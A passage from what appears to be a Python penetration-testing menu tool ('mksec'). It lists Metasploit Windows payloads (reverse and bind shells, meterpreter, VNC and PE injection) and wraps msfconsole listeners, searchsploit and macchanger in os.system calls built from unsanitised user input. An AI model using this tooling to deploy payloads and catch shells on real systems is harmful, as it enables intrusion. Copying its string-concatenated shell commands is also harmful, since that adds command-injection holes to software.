PE files which use resource loading might crash. . Listen for a connection(Windows x86)\nwindows/peinject/bind_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection\nwindows/peinject/bind_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connectionwith UUID Support (Windows x86)\nwindows/peinject/find_tag Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Use an established connection\nwindows/peinject/reverse_ipv6_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker over IPv6\nwindows/peinject/reverse_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker via a named pipe pivot\nwindows/peinject/reverse_nonx_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker (No NX)\nwindows/peinject/reverse_ord_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_allports Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/peinject/reverse_tcp_dns Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_rc4_dns Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker\nwindows/peinject/reverse_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker with UUID Support\nwindows/pingback_bind_tcp Open a socket and report UUID when a connection is received (Windows x86)\nwindows/pingback_reverse_tcp Connect back to attacker and report UUID (Windows x86)\nwindows/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session\nwindows/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session\nwindows/shell/bind_hidden_ipknock_tcp Spawn a piped command shell (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method(you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/shell/bind_hidden_tcp Spawn a piped command shell (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/shell/bind_ipv6_tcp Spawn a piped command shell (staged). Listen for an IPv6 connection (Windows x86)\nwindows/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/shell/bind_named_pipe Spawn a piped command shell (staged). Listen for a pipe connection (Windows x86)\nwindows/shell/bind_nonx_tcp Spawn a piped command shell (staged). Listen for a connection (No NX)\nwindows/shell/bind_tcp Spawn a piped command shell (staged). Listen for a connection (Windows x86)\nwindows/shell/bind_tcp_rc4 Spawn a piped command shell (staged). Listen for a connection\nwindows/shell/bind_tcp_uuid Spawn a piped command shell (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/shell/find_tag Spawn a piped command shell (staged). Use an established connection\nwindows/shell/reverse_ipv6_tcp Spawn a piped command shell (staged). Connect back to the attacker over IPv6\nwindows/shell/reverse_nonx_tcp Spawn a piped command shell (staged). Connect back to the attacker (No NX)\nwindows/shell/reverse_ord_tcp Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_allports Spawn a piped command shell (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/shell/reverse_tcp_dns Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_rc4 Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_rc4_dns Spawn a piped command shell (staged). Connect back to the attacker\nwindows/shell/reverse_tcp_uuid Spawn a piped command shell (staged). Connect back to the attacker with UUID Support\nwindows/shell/reverse_udp Spawn a piped command shell (staged). Connect back to the attacker with UUID Support\nwindows/shell_bind_tcp Listen for a connection and spawn a command shell\nwindows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a command shell\nwindows/shell_hidden_bind_tcp Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not coming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.\nwindows/shell_reverse_tcp Connect back to attacker and spawn a command shell\nwindows/speak_pwned Causes the target to say "You Got Pwned" via the Windows Speech API\nwindows/upexec/bind_hidden_ipknock_tcp Uploads an executable and runs it (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/upexec/bind_hidden_tcp Uploads an executable and runs it (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/upexec/bind_ipv6_tcp Uploads an executable and runs it (staged). Listen for an IPv6 connection (Windows x86)\nwindows/upexec/bind_ipv6_tcp_uuid Uploads an executable and runs it (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/upexec/bind_named_pipe Uploads an executable and runs it (staged). Listen for a pipe connection (Windows x86)\nwindows/upexec/bind_nonx_tcp Uploads an executable and runs it (staged). Listen for a connection (No NX)\nwindows/upexec/bind_tcp Uploads an executable and runs it (staged). Listen for a connection (Windows x86)\nwindows/upexec/bind_tcp_rc4 Uploads an executable and runs it (staged). Listen for a connection\nwindows/upexec/bind_tcp_uuid Uploads an executable and runs it (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/upexec/find_tag Uploads an executable and runs it (staged). Use an established connection\nwindows/upexec/reverse_ipv6_tcp Uploads an executable and runs it (staged). Connect back to the attacker over IPv6\nwindows/upexec/reverse_nonx_tcp Uploads an executable and runs it (staged). Connect back to the attacker (No NX)\nwindows/upexec/reverse_ord_tcp Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_allports Uploads an executable and runs it (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/upexec/reverse_tcp_dns Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_rc4 Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_rc4_dns Uploads an executable and runs it (staged). Connect back to the attacker\nwindows/upexec/reverse_tcp_uuid Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support\nwindows/upexec/reverse_udp Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support\nwindows/vncinject/bind_hidden_ipknock_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode\nwindows/vncinject/bind_hidden_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.\nwindows/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection (Windows x86)\nwindows/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection with UUID Support (Windows x86)\nwindows/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (staged). Listen for a pipe connection (Windows x86)\nwindows/vncinject/bind_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (No NX)\nwindows/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (Windows x86)\nwindows/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Listen for a connection\nwindows/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for a connection with UUID Support (Windows x86)\nwindows/vncinject/find_tag Inject a VNC Dll via a reflective loader (staged). Use an established connection\nwindows/vncinject/reverse_hop_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.\nwindows/vncinject/reverse_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows wininet)\nwindows/vncinject/reverse_http_proxy_pstore Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP\nwindows/vncinject/reverse_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker over IPv6\nwindows/vncinject/reverse_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker (No NX)\nwindows/vncinject/reverse_ord_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_allports Inject a VNC Dll via a reflective loader (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/vncinject/reverse_tcp_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_rc4_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker with UUID Support\nwindows/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows winhttp)\nwindows/x64/exec Execute an arbitrary command (Windows x64)\nwindows/x64/loadlibrary Load an arbitrary x64 library path\nwindows/x64/messagebox Spawn a dialog via MessageBox using a customizable title, text & icon\nwindows/x64/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection (Windows x64)\nwindows/x64/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/meterpreter/bind_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a pipe connection (Windows x64)\nwindows/x64/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (Windows x64)\nwindows/x64/meterpreter/bind_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/x64/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection with UUID Support (Windows x64)\nwindows/x64/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/meterpreter/reverse_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker via a named pipe pivot\nwindows/x64/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (Windows x64)\nwindows/x64/meterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/x64/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 winhttp)\nwindows/x64/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows x64 winhttp)\nwindows/x64/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/peinject/bind_ipv6_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection (Windows x64)\nwindows/x64/peinject/bind_ipv6_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/peinject/bind_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a pipe connection (Windows x64)\nwindows/x64/peinject/bind_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection(Windows x64)\nwindows/x64/peinject/bind_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker\nwindows/x64/peinject/bind_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connectionwith UUID Support (Windows x64)\nwindows/x64/peinject/reverse_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker via a named pipe pivot\nwindows/x64/peinject/reverse_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker (Windows x64)\nwindows/x64/peinject/reverse_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker\nwindows/x64/peinject/reverse_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/pingback_reverse_tcp Connect back to attacker and report UUID (Windows x64)\nwindows/x64/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session\nwindows/x64/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session\nwindows/x64/shell/bind_ipv6_tcp Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)\nwindows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/shell/bind_named_pipe Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)\nwindows/x64/shell/bind_tcp Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)\nwindows/x64/shell/bind_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker\nwindows/x64/shell/bind_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)\nwindows/x64/shell/reverse_tcp Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)\nwindows/x64/shell/reverse_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker\nwindows/x64/shell/reverse_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)\nwindows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64)\nwindows/x64/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)\nwindows/x64/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)\nwindows/x64/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)\nwindows/x64/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\nwindows/x64/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)\nwindows/x64/vncinject/reverse_http Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/vncinject/reverse_https Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)\nwindows/x64/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\nwindows/x64/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)\nwindows/x64/vncinject/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)\n""") elif "run" == uinput.lower(): print("Please wait...") os.system("sudo msfconsole -q -x 'use exploit/multi/handler; set payload " + payload.strip() + "; set lhost " + host.strip() + "; set lport "+ port.strip() + "; exploit'") elif "run -f" == uinput.lower(): print("Please wait...") os.system("cd /opt/metasploit-framework/ && sudo ./msfconsole -q -x 'use exploit/multi/handler; set payload " + payload.strip() + "; set lhost " + host.strip() + "; set lport "+ port.strip() + "; exploit'") create = " FALSE " listener = " FALSE " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[payload_creater_and_listener]\033[37m\x1b[0m ") UserInputs(uinput+"exp") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mPayload Creator and Listener is a payload creation and listening tool. This tool uses the Msfvenom and Msfconsole tools. Edited by mksec using the 'exploit/multi/handler' module in the Metasploit tool. \x1b[36m'run'\x1b[37m command does not work, try with \x1b[36m'run -f'\x1b[37m (-f : --force). \n\x1b[33mTR:\x1b[37mPayload Creator and Listener, bir payload oluşturma ve dinleme aracıdır. Bu araç, Msfvenom ve Msfconsole araçlarını kullanır. Metasploit aracı içerisindeki 'exploit/multi/handler' modülünü kullanarak mksec tarafından düzenlenmiştir.\x1b[36m'run'\x1b[37m komutu çalışmazsa \x1b[36m'run -f'\x1b[37m (-f : --force) ile deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nCREATE PAYLOAD {} OPT Set this value to 'TRUE' to create a payload. \x1b[32mDefault value = FALSE\x1b[37m\nPAYLOAD LISTENER {} OPT Set this value to 'TRUE' to listen for a payload. \x1b[32mDefault value = FALSE\x1b[37m".format(create,listener)) elif "set create payload" in uinput.lower(): create = uinput create = create.replace("set create payload ","").replace("set CREATE PAYLOAD ","").replace("SET create payload ","").replace("SET CREATE PAYLOAD ","").center(25).upper() elif "set payload listener" in uinput.lower(): listener = uinput listener = listener.replace("set payload listener ","").replace("set PAYLOAD LISTENER ","").replace("SET payload listener ","").replace("SET PAYLOAD LISTENER ","").center(25).upper() elif "run" == uinput.lower(): if create.lower().strip() == "true" and listener.lower().strip() == "false": PayloadCreater() elif listener.lower().strip() == "true" and create.lower().strip() == "false": PayloadListener() elif create.lower().strip() == "true" and listener.lower().strip() == "true": print('\x1b[1m\x1b[31mYou cannot choose both.') else: print("\x1b[1m\x1b[31mYou have not selected one yet\x1b[1m") def searchsploit(): search = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[searchsploit]\033[37m\x1b[0m ") UserInputs(uinput+"exp") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mSearchsploit easily presents exploits found on the system by ExploitDB to us via terminal.\n\x1b[33mTR:\x1b[37mSearchsploit, ExploitDB tarafından sistemde bulunan exploitleri bize kolayca terminal üzerinden sunar. ") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nSEARCH{} YES Type the exploit you want to search \x1b[32mex: ftp\x1b[37m".format(search)) elif "set search" in uinput.lower(): search = uinput search = search.replace("set search ","").replace("set SEARCH ","").replace("SET search ","").replace("SET SEARCH ","").center(25) elif "run" == uinput.lower(): os.system("searchsploit " + search.strip()) def macchanger(): iface = " " manual = " " youriface = os.popen('ip addr').read().split("2:")[1].split(":")[0] os.popen('ip addr show {}'.format(youriface)).read().split("inet ")[1].split("/")[0] while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[macchanger]\033[37m\x1b[0m ") UserInputs(uinput+"sniff") if uinput.lower() == "info": print("\x1b[1m\x1b[37m\x1b[35mMacchanger\x1b[37m, it is used to change the MAC address.\n\n\x1b[33mUsage:\x1b[37m\n\x1b[33m======\x1b[37m\nIf you want to randomly change your MAC address just fill in 'IFACE' and type \x1b[32m'run --random' or 'run -r'\x1b[37m.\nIf you want to change your MAC address manually, fill in 'IFACE' and 'MANUAL' and type \x1b[32m'run --manual' or 'run -m'\x1b[37m.\nIf you want to revert to your default MAC address just fill in 'IFACE' and type \x1b[32m'run --default' or 'run -d'\x1b[37m.\n\n\n\x1b[35mMacchanger\x1b[37m, MAC adresini değiştirmek için kullanılır.\n\n\x1b[33mKullanım:\x1b[37m\n\x1b[33m=========\x1b[37m\nRandom olarak MAC adresinizi değiştirmek istiyorsanız sadece 'IFACE' kısmını doldurun ve \x1b[32m'run --random' or 'run -r'\x1b[37m yazın.\nManuel olarak MAC adresinizi değiştirmek istiyorsanız 'IFACE' ve 'MANUAL' kısımlarını doldurun ve \x1b[32m'run --manual' or 'run -m'\x1b[37m yazın.\nDefault MAC adresinize geri dönmek istiyorsanız sadece 'IFACE' kısmını doldurun ve \x1b[32m'run --default' or 'run -d'\x1b[37m yazın.\n") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIFACE {} YES Your interface =\x1b[32m{}\x1b[37m\nMANUAL{} OPT Manual MAC address \x1b[32mex: 11:22:33:33:22:11\x1b[37m".format(iface,youriface,manual)) elif "set iface" in uinput.lower(): iface = uinput iface = iface.replace("set iface ","").replace("set IFACE ","").replace("SET iface ","").replace("SET IFACE ","").center(25) elif "set manual" in uinput.lower(): manual = uinput manual = manual.replace("set manual ","").replace("set MANUAL ","").replace("SET manual ","").replace("SET MANUAL ","").center(25) elif "run" == uinput.lower(): print("\x1b[1m\x1b[31mCommand not found. You can check the run command by typing 'info'\x1b[1m") elif "run --random" == uinput.lower() or "run -r" == uinput.lower(): os.system("sudo macchanger -r " + iface.strip()) elif "run --manual" == uinput.lower() or "run -m" == uinput.lower(): os.system("sudo macchanger --mac " + manual.strip() + " " + iface.strip()) elif "run --default" == uinput.lower() or "run -d" == uinput.lower(): os.system("sudo macchanger -p " + iface.strip()) def responder(): os.system("""echo \x1b[1m' 